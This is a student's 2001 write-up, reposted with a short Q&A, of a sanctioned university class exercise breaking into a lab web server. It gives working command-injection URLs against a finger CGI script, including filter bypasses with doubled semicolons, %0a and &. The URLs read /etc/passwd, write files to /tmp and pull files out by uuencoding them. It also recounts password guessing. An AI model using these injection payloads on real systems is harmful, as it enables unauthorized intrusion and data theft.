My friend Mark took a class on computer security with Dr. Bishop at UC Davis. One of his projects was to break into a system. Mark was cool enough to write up his experience. I think a lot of us were really impressed with some of the things Mark came up with. I think it would be of interest to anybody reading these pages. So here it is:
From: Mark Kim <mkkim@ucdavis.edu> Date: Mon, 5 Feb 2001 15:21:12 -0800 (PST) To: LUGOD <vox@lists.lugod.org> Subject: [vox] ECS153 vulnerability analysis summary When I took the security class last quarter, our class performed a "vulnerability analysis" of a computer system -- basically, we tried to see what kind of problems we could find on the system, and break in if possible. I think some people wanted to get a summary of this vulnerability analysis before Dr. Bishop's talk tomorrow. So I thought I should say something about it today. I think there is this grand idea surrounding the vulnerability analysis. But the fact is, our attempts were very simple; I'm almost ashamed because we couldn't find some clever way to break-in (but then, we're mostly amateurs so it's not reasonable to expect more than that, I think). The system's setup was like this: internet <--> firewall <--> target (LAN) (IP 1.2.3.4) What we knew at the time the assignment was given: 1. The IP address of the firewall (let's say it's 1.2.3.4) 2. That there *is* a firewall. 3. Our target is *behind* the firewall. 4. Our target is running a web server and a secure shell daemon. 5. The web server and the shell daemon services are available through the firewall. The rules: 1. Find any and all vulnerabilities, according to the given steps. (I will not list the steps here -- it's pretty standard stuff.) 2. We may not use DoS or DDoS attacks, since that's going to cause problems in the UC Davis network. We were told to use `nmap`, a port scanning program. This program comes with most Linux distributions so you can look up its usage in `man`. But basically you can do stuff like TCP scan, UDP scan, SYN scan, XMAS scan, etc. TCP and UDP scan can be done as a regular user, but other scans need to be done as root -- because it requires access to raw packets, and you shouldn't need access to raw packets unless you're doing something funky like trying to do a port scan, so raw packets are restricted to root :) To allow students without access to root be able to do non-TCP/UDP scans, Dr. Bishop made an account on a system that can run nmap with whatever reasonable options you specify. This was done by setting up a script in ~/.bashrc for a no-password account. The script was design to accept reasonable options (set what scans to perform, which ports to scan, etc.), and filter out unreasonable options (trying to scan any system that isn't part of our assignment.) We were also challenged to break the script as an extra credit, and we were given the script sources. No one was able to break the script. So the first step was simple -- run some `nmap`. We found that there are no ports running on the firewall besides the http and sshd ports (80 and 22, respectively.) Next: 1. Figure out which version of httpd is running. (Turned out to be thttpd - many ways to find this out...) 2. Figure out which version of sshd is running. (Turned out to be sshd 2.something -- telnet into port 22 to figure this out) Next, we tried to find any bugs with thttpd and sshd 2.X. We found nothing applicable. Later that day, we find out that a group already broke into the web server and made some remarks in index.html. Bastards (j/k :) FYI, both of them work at the security lab (they may be on our mailing list, later I realized). Another group breaks in about a week later or so. Then another a couple days later. It turned out they broke in by guessing the root password. The password: "bishoproot". In my own defense, I'd thought about this and tried passwords like "bishop", "root", "153", "ecs153", "cs153", room number of the security lab, names of junk foods, "holly" (his wife's name), "heidi", "steven", "david", "caroline" (his children's names), and these passwords in combinations. It just turned out I didn't try out the right combination. A few days later, they put out some CGI scripts. That's when everything broke loose. The server had several CGIs (we knew this because http://1.2.3.4/cgi-bin/ was visible), but all of them were bogus except for the finger script. At the bottom of the finger script output was the link to the script's homepage, I downloaded the source off the script's homepage and started looking for holes, or at least that was my intention, but I soon realized the script on the server had much smaller filesize (filesize reported by http://1.2.3.4/cgi-bin/ directory listing) than the original source. Now that makes no sense. Our TA (Tom) did modify the source to strengthen the script, but it shouldn't shrink the filesize by that much. He must have ripped out its guts. Anyway, the most obvious thing to look for in a source like this is to figure out whether it runs finger by executing the binary or by making a socket connection. If it runs the binary, perhaps it's possible to trick the script into executing whatever program you want it to (ie - by inserting a semicolon.) The script source, unfortunately, indicated that it makes socket calls. Darn. Later in the class, Tom hinted that he might have added an intentional hole. So back at my home, I'm thinking perhaps Tom modified the source to run the binary. So I tried inserting a semicolon, like this: http://1.2.3.4/cgi-bin/finger.pl?user=root;ls ^^ No luck. So I tried putting bunch of random information, like: http://1.2.3.4/cgi-bin/finger.pl?user=root;!@#$!^@#$@#^L:K;1234oasidlk And I realized that putting *two* semicolons works! :) So now I could do: http://1.2.3.4/cgi-bin/finger.pl?user=root;;ls But what previleges do I have?: http://1.2.3.4/cgi-bin/finger.pl?user=root;;whoami nobody Great. Oh well, it's better than nothing. I wonder if I can run xterm: http://1.2.3.4/cgi-bin/finger.pl?user=root;;xterm%20-display%20myip:0 No luck. I later found out that the firewall filters out all connections except for ports 80 and 22, even if the call is executed from inside the firewall. Let's see what else I can do. Perhaps I can grab the password file and run crackerjack on it: http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/passwd It's shadowed. Darn it. But at least I got a list of user names. (Later, I found out that one of the users had a password that was same as the username... This hole was unintentionally left there by the previous project. The username: "ecs253" :) I wonder who has accounts... and I wonder whose accounts are browsable: http://1.2.3.4/cgi-bin/finger.pl?user=root;;ls%20-l%20/home I found Dr. Bishop's account, Nicole Carlson's account, and an account of an old friend that graduated about a year ago, all of whom have worked at the security lab. This must be an old system used by the security lab! By this time, we were told that the system (and the firewall) were running Linux. So I had a ball poking around: http://1.2.3.4/cgi-bin/finger.pl?user=root;;dmesg http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/meminfo http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/devices http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/proc/ioports ... Not all that great info with these, but found what hardware is online. http://1.2.3.4/cgi-bin/finger.pl?user=root;;uname%20-a http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/issue I found out what kernel and what distribution of Linux is on the system. It was Redhat 5.2, kernel 2.0.36. It turned out RedHat 5.2 had a bug that gives root access, but only from the console :( http://1.2.3.4/cgi-bin/finger.pl?user=root;;ps%20-aefxwww I found out what other people are trying. I found some ssh/telnet connections, so I was fairly sure other people found ways to break into the system without using the CGI script... just didn't know how. Instead of semicolons, people were using &, %0a, among others. http://1.2.3.4/cgi-bin/finger.pl?user=root;;kill%201234 I executed some commands that weren't quitting, so I killed them. I also accidentally killed a few of my classmates' processes. Oops. http://1.2.3.4/cgi-bin/finger.pl?user=root;;/sbin/ifconfig http://1.2.3.4/cgi-bin/finger.pl?user=root;;/sbin/route I thought perhaps I could find other computers on the network and fooling them into let me make a shell connection to the outside world, but that didn't happen. http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/etc/fstab http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/floppy http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/cdrom http://1.2.3.4/cgi-bin/finger.pl?user=root;;mount%20/mnt/zip Are there any floppies, CDROMs, or zip disks inserted into the drives? Maybe they have something useful on them... Yes, all devices were user-mountable. But nothing was inserted in them. http://1.2.3.4/cgi-bin/finger.pl?user=root;;cat%20/.../cgi-bin/finger.cgi I used this to grab the finger.pl source. It turns out the following characters are filtered out *once*. That's why my double semicolon worked: ;, >, <, | Notice & and %0a aren't filtered out at all, so students were able to use & and %0a to break in, also. Also, Tom modified the source so much that it is totally different from the original. Like executing the binary instead of making a socket connection. I also tried creating files in /tmp by redirection. Since ">" is filtered out once, I need to use two of them: http://1.2.3.4/cgi-bin/finger.pl?user=root;;echo%20'Mark%20Kim%20got%20in%20as%20nobody%0aNow%20to%20find%20a%20way%20to%20root...'>>/tmp/hacked_by_kimkh It turns out there were a lot of files in /tmp, no doubt many attempts by others to upload some program and gain more access. The file I created above disappears the next day -- either someone deletes it or there is a cron job to clean out /tmp. But for some reason, all the hidden files remained, so I could have recreated the above file and made it hidden, but then that's no fun... By this time, I'm kind of bored. I want to be able to download binaries (I couldn't do this before because the output gets mixed with the finger output. Even the text output is hard to read sometimes.) So I think of using uuencode. I tried downloading this oddball file called "/tmp/.a": http://1.2.3.4/cgi-bin/finger.pl?user=root;;uuencode%20/tmp/.a%20/dev/console Notice I send the output to /dev/console. I thought that was pretty slick :) The file ".a" turned out to be some weird binary that tries to cat /etc/shadow. There were bunch of other programs in /tmp people tried to upload and execute. Using this technique, I was able to grab big files by compressing them and uuencoding them to /dev/console, including /var/log/messages and the thttpd log file. I could have upoaded something by redirecting uuencoded binary to a file then executing uudecode, but I was too lazy to do that line-by-line. This was pretty much the extent of how much I got done. So I was able to do pretty much anything under the nobody account, including uploading/downloading programs, look at files, and poke around the system. I never got a root access, though, a fact that will haunt me for the rest of my life :P -Mark --- Mark K. Kim http://www.cbreak.org/mark/ PGP key available upon request.
I had some silly questions about how ASCII gets encoded by a webserver. Here was his response to my questions:
When you pass a parameter to a CGI program, you can emulate any character by referring to the character's ASCII code in hex. So %20 is ASCII 0x20, which is a space. Such translation is necessary because spaces cannot be a part of a URL. The translation is done before the arguments are passed to the CGI program, so there is no need for translation by the CGI program. > also, what's %0a and &? %0a is a "newline". So if you pass "finger.pl?user=root%0als%20-la" to the finger script, the script executes: finger rootls -la or, more simply: finger root ls -la As for "&", that's equivalent to: finger root&ls -la (execute `finger root` in background, then execute `ls -la`). It seems like Tom didn't realize these possibilities because he didn't filter them at all.